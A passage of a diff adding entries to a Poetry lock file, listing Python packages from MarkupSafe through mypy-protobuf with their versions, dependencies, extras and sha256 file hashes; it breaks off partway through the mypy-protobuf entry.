+ {file = "MarkupSafe-2.1.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-win32.whl", hash = "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-win_amd64.whl", hash = "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-win32.whl", hash = "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl", hash = "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-win32.whl", hash = "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-win_amd64.whl", hash = "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba"},
+ {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"},
+]
+
+[[package]]
+name = "marshmallow"
+version = "3.19.0"
+description = "A lightweight library for converting complex datatypes to and from native Python datatypes."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "marshmallow-3.19.0-py3-none-any.whl", hash = "sha256:93f0958568da045b0021ec6aeb7ac37c81bfcccbb9a0e7ed8559885070b3a19b"},
+ {file = "marshmallow-3.19.0.tar.gz", hash = "sha256:90032c0fd650ce94b6ec6dc8dfeb0e3ff50c144586462c389b81a07205bedb78"},
+]
+
+[package.dependencies]
+packaging = ">=17.0"
+
+[package.extras]
+dev = ["flake8 (==5.0.4)", "flake8-bugbear (==22.10.25)", "mypy (==0.990)", "pre-commit (>=2.4,<3.0)", "pytest", "pytz", "simplejson", "tox"]
+docs = ["alabaster (==0.7.12)", "autodocsumm (==0.2.9)", "sphinx (==5.3.0)", "sphinx-issues (==3.0.1)", "sphinx-version-warning (==1.1.2)"]
+lint = ["flake8 (==5.0.4)", "flake8-bugbear (==22.10.25)", "mypy (==0.990)", "pre-commit (>=2.4,<3.0)"]
+tests = ["pytest", "pytz", "simplejson"]
+
+[[package]]
+name = "marshmallow-enum"
+version = "1.5.1"
+description = "Enum field for Marshmallow"
+optional = false
+python-versions = "*"
+files = [
+ {file = "marshmallow-enum-1.5.1.tar.gz", hash = "sha256:38e697e11f45a8e64b4a1e664000897c659b60aa57bfa18d44e226a9920b6e58"},
+ {file = "marshmallow_enum-1.5.1-py2.py3-none-any.whl", hash = "sha256:57161ab3dbfde4f57adeb12090f39592e992b9c86d206d02f6bd03ebec60f072"},
+]
+
+[package.dependencies]
+marshmallow = ">=2.0.0"
+
+[[package]]
+name = "mccabe"
+version = "0.7.0"
+description = "McCabe checker, plugin for flake8"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"},
+ {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+description = "Markdown URL utilities"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"},
+ {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"},
+]
+
+[[package]]
+name = "miniopy-async"
+version = "1.15"
+description = "Asynchronous MinIO Python Client API"
+optional = false
+python-versions = ">3.6"
+files = [
+ {file = "miniopy-async-1.15.tar.gz", hash = "sha256:f2ee438373eb2c60bda6363ffbc28ca27f4d871089ea65a02e09896864f3d72f"},
+ {file = "miniopy_async-1.15-py3-none-any.whl", hash = "sha256:9872e9168f45d9f4b828e7764163949f71d68f4f0cba2c22bc31f9856d1ed17e"},
+]
+
+[package.dependencies]
+aiofile = "*"
+aiohttp = "*"
+certifi = "*"
+urllib3 = "*"
+
+[[package]]
+name = "mpmath"
+version = "1.3.0"
+description = "Python library for arbitrary-precision floating-point arithmetic"
+optional = false
+python-versions = "*"
+files = [
+ {file = "mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c"},
+ {file = "mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a9774d00c7bc92411c19a89209d5da7c4c9a9e227be8330a23a25b91f"},
+]
+
+[package.extras]
+develop = ["codecov", "pycodestyle", "pytest (>=4.6)", "pytest-cov", "wheel"]
+docs = ["sphinx"]
+gmpy = ["gmpy2 (>=2.1.0a4)"]
+tests = ["pytest (>=4.6)"]
+
+[[package]]
+name = "multidict"
+version = "6.0.4"
+description = "multidict implementation"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a2e4369eb3d47d2034032a26c7a80fcb21a2cb22e1173d761a162f11e562caa5"},
+ {file = "multidict-6.0.4-cp310-cp310-win32.whl", hash = "sha256:574b7eae1ab267e5f8285f0fe881f17efe4b98c39a40858247720935b893bba8"},
+ {file = "multidict-6.0.4-cp310-cp310-win_amd64.whl", hash = "sha256:4dcbb0906e38440fa3e325df2359ac6cb043df8e58c965bb45f4e406ecb162cc"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0dfad7a5a1e39c53ed00d2dd0c2e36aed4650936dc18fd9a1826a5ae1cad6f03"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:64da238a09d6039e3bd39bb3aee9c21a5e34f28bfa5aa22518581f910ff94af3"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ff959bee35038c4624250473988b24f846cbeb2c6639de3602c073f10410ceba"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01a3a55bd90018c9c080fbb0b9f4891db37d148a0a18722b42f94694f8b6d4c9"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5cb09abb18c1ea940fb99360ea0396f34d46566f157122c92dfa069d3e0e982"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:666daae833559deb2d609afa4490b85830ab0dfca811a98b70a205621a6109fe"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11bdf3f5e1518b24530b8241529d2050014c884cf18b6fc69c0c2b30ca248710"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d18748f2d30f94f498e852c67d61261c643b349b9d2a581131725595c45ec6c"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:458f37be2d9e4c95e2d8866a851663cbc76e865b78395090786f6cd9b3bbf4f4"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:b1a2eeedcead3a41694130495593a559a668f382eee0727352b9a41e1c45759a"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7d6ae9d593ef8641544d6263c7fa6408cc90370c8cb2bbb65f8d43e5b0351d9c"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5979b5632c3e3534e42ca6ff856bb24b2e3071b37861c2c727ce220d80eee9ed"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dcfe792765fab89c365123c81046ad4103fcabbc4f56d1c1997e6715e8015461"},
+ {file = "multidict-6.0.4-cp311-cp311-win32.whl", hash = "sha256:3601a3cece3819534b11d4efc1eb76047488fddd0c85a3948099d5da4d504636"},
+ {file = "multidict-6.0.4-cp311-cp311-win_amd64.whl", hash = "sha256:81a4f0b34bd92df3da93315c6a59034df95866014ac08535fc819f043bfd51f0"},
+ {file = "multidict-6.0.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:67040058f37a2a51ed8ea8f6b0e6ee5bd78ca67f169ce6122f3e2ec80dfe9b78"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853888594621e6604c978ce2a0444a1e6e70c8d253ab65ba11657659dcc9100f"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39ff62e7d0f26c248b15e364517a72932a611a9b75f35b45be078d81bdb86603"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af048912e045a2dc732847d33821a9d84ba553f5c5f028adbd364dd4765092ac"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e8b901e607795ec06c9e42530788c45ac21ef3aaa11dbd0c69de543bfb79a9"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62501642008a8b9871ddfccbf83e4222cf8ac0d5aeedf73da36153ef2ec222d2"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:99b76c052e9f1bc0721f7541e5e8c05db3941eb9ebe7b8553c625ef88d6eefde"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:509eac6cf09c794aa27bcacfd4d62c885cce62bef7b2c3e8b2e49d365b5003fe"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21a12c4eb6ddc9952c415f24eef97e3e55ba3af61f67c7bc388dcdec1404a067"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:5cad9430ab3e2e4fa4a2ef4450f548768400a2ac635841bc2a56a2052cdbeb87"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab55edc2e84460694295f401215f4a58597f8f7c9466faec545093045476327d"},
+ {file = "multidict-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:5a4dcf02b908c3b8b17a45fb0f15b695bf117a67b76b7ad18b73cf8e92608775"},
+ {file = "multidict-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:6ed5f161328b7df384d71b07317f4d8656434e34591f20552c7bcef27b0ab88e"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5fc1b16f586f049820c5c5b17bb4ee7583092fa0d1c4e28b5239181ff9532e0c"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1502e24330eb681bdaa3eb70d6358e818e8e8f908a22a1851dfd4e15bc2f8161"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b692f419760c0e65d060959df05f2a531945af31fda0c8a3b3195d4efd06de11"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45e1ecb0379bfaab5eef059f50115b54571acfbe422a14f668fc8c27ba410e7e"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ddd3915998d93fbcd2566ddf9cf62cdb35c9e093075f862935573d265cf8f65d"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:59d43b61c59d82f2effb39a93c48b845efe23a3852d201ed2d24ba830d0b4cf2"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc8e1d0c705233c5dd0c5e6460fbad7827d5d36f310a0fadfd45cc3029762258"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6aa0418fcc838522256761b3415822626f866758ee0bc6632c9486b179d0b52"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6748717bb10339c4760c1e63da040f5f29f5ed6e59d76daee30305894069a660"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4d1a3d7ef5e96b1c9e92f973e43aa5e5b96c659c9bc3124acbbd81b0b9c8a951"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4372381634485bec7e46718edc71528024fcdc6f835baefe517b34a33c731d60"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:fc35cb4676846ef752816d5be2193a1e8367b4c1397b74a565a9d0389c433a1d"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"},
+ {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"},
+ {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"},
+ {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"},
+ {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"},
+ {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"},
+]
+
+[[package]]
+name = "mypy"
+version = "0.971"
+description = "Optional static typing for Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"},
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"},
+ {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"},
+ {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"},
+ {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"},
+ {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"},
+ {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"},
+ {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"},
+ {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"},
+ {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"},
+ {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = "sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"},
+ {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"},
+ {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"},
+ {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"},
+ {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"},
+ {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"},
+ {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"},
+ {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"},
+ {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"},
+]
+
+[package.dependencies]
+mypy-extensions = ">=0.4.3"
+typing-extensions = ">=3.10"
+
+[package.extras]
+dmypy = ["psutil (>=4.0)"]
+python2 = ["typed-ast (>=1.4.0,<2)"]
+reports = ["lxml"]
+
+[[package]]
+name = "mypy-extensions"
+version = "1.0.0"
+description = "Type system extensions for programs checked with the mypy type checker."
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"},
+ {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"},
+]
+
+[[package]]
+name = "mypy-protobuf"
+version = "3.4.0"
+description = "Generate mypy stub files from protobuf specs"
+optional = false
+python-versions = ">=3.7"
+files = [
